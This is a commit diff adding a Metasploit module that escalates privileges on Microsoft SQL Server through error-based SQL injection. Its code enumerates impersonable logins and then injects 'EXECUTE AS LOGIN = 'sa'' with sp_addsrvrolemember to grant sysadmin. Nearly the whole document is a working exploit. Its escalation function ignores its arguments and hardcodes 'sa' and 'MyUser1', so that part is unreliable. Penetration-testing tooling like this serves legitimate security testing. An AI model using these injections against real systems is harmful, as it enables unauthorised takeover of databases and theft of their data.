Really land the rapid7#4130 module

Author: jvazquez-r7

modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb

@@ -0,0 +1,201 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/exploit/mssql_commands'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::MSSQL_SQLI
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Microsoft SQL Server - SQLi Escalate Execute As',
+      'Description'    => %q{
+        This module can be used escalate privileges if the IMPERSONATION privilege has been
+        assigned to the user via error based SQL injection.  In most cases this results in
+        additional data access, but in some cases it can be used to gain sysadmin privileges.
+        The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
+      },
+      'Author'         => ['nullbind <scott.sutherland[at]netspi.com>'],
+      'License'        => MSF_LICENSE,
+      'References'     => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
+    ))
+  end
+
+  def run
+    # Get the database user name
+    print_status("#{peer} - Grabbing the database user name...")
+    db_user = get_username
+    if db_user.nil?
+      print_error("#{peer} - Unable to grab user name...")
+      return
+    else
+      print_good("#{peer} - Database user: #{db_user}")
+    end
+
+    # Grab sysadmin status
+    print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
+    admin_status = check_sysadmin
+
+    if admin_status.nil?
+      print_error("#{peer} - Couldn't retrieve user status, aborting...")
+      return
+    elsif admin_status == '1'
+      print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.")
+      return
+    else
+      print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
+    end
+
+    # Get list of users that can be impersonated
+    print_status("#{peer} - Enumerating a list of users that can be impersonated...")
+    imp_user_list = check_imp_users
+    if imp_user_list.nil? || imp_user_list.empty?
+      print_error("#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.")
+      return
+    else
+      # Display list of users that can be impersonated
+      print_good("#{peer} - #{imp_user_list.length} users can be impersonated:")
+      imp_user_list.each do |dbuser|
+        print_status("#{peer} -   #{dbuser}")
+      end
+    end
+
+    # Check if any of the users that can be impersonated are sysadmins
+    print_status("#{peer} - Checking if any of them are sysadmins...")
+    imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
+    if imp_user_sysadmin.nil?
+      print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.")
+      return
+    end
+
+    # Attempt to escalate to sysadmin
+    print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...")
+    escalate_privs(imp_user_sysadmin,db_user)
+
+    admin_status = check_sysadmin
+    if admin_status && admin_status == '1'
+      print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
+    else
+      print_error("#{peer} - Fail buckets, something went wrong.")
+    end
+  end
+
+  def get_username
+    # Setup query to check for database username
+    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
+    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
+    sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
+
+    # Run query
+    result = mssql_query(sql)
+
+    # Parse result
+    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
+      user_name = $1
+    else
+      user_name = nil
+    end
+
+    user_name
+  end
+
+  def check_sysadmin
+    # Setup query to check for sysadmin
+    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
+    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
+    sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
+
+    # Run query
+    result = mssql_query(sql)
+
+    # Parse result
+    if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
+      status = $1
+    else
+      status = nil
+    end
+
+    status
+  end
+
+  def check_imp_users
+    # Setup query to check for trusted databases owned by sysadmins
+    clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
+    clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
+
+    # Setup query
+    sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
+    FROM  sys.server_permissions a
+    INNER JOIN sys.server_principals b
+    ON a.grantor_principal_id = b.principal_id
+    WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"
+
+    # Run query
+    res = mssql_query(sql)
+
+    unless res && res.body
+      return nil
+    end
+
+    #Parse results
+    parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
+
+    if parsed_result && !parsed_result.empty?
+      parsed_result.flatten!
+      parsed_result.uniq!
+    end
+
+    parsed_result
+  end
+
+  def check_imp_sysadmin(imp_user_list)
+    # Check if the user has the db_owner role is any databases
+    imp_user_list.each do |imp_user|
+      # Setup query
+      clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
+      clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
+
+      sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"
+
+      # Run query
+      result = mssql_query(sql)
+
+      unless result && result.body
+        next
+      end
+
+      #Parse results
+      parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
+
+      if parsed_result && !parsed_result.empty?
+        parsed_result.flatten!
+        parsed_result.uniq!
+      end
+
+      # check if user is a sysadmin
+      if parsed_result && parsed_result[0] == '1'
+        print_good("#{peer} -   #{imp_user} is a sysadmin!")
+        return imp_user
+      else
+        print_status("#{peer} -   #{imp_user} is NOT a sysadmin")
+      end
+    end
+
+    nil
+  end
+
+  # Attempt to escalate privileges
+  def escalate_privs(imp_user,db_user)
+
+    # Setup Query - Impersonate the first sysadmin user on the list
+    evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
+
+    # Execute Query
+    mssql_query(evil_sql)
+  end
+end